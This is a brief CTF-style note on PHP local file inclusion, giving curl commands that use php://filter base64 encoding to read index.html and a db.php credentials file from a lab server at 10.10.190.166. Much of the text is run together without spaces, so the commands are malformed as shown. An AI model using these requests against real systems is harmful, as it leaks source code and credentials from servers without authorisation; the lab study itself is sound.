In CTF, it typically hides sensitive information like credentials in the source code.
Kali> curl--user-agent"PENTEST""$URL?parameter=php://filter/$FILTERS/resource=$FILE"#This forces PHP to base64 encode the file before it is used in the require statement.curl"https://10.10.190.166/dev/index.html?view=php://filter/convert.base64-encode/resource=index.html"curl "https://10.10.190.166/dev/index.html?view=php://filter/convert.base64-encode/resource=C:\xampp\htdocs\dev\db.php"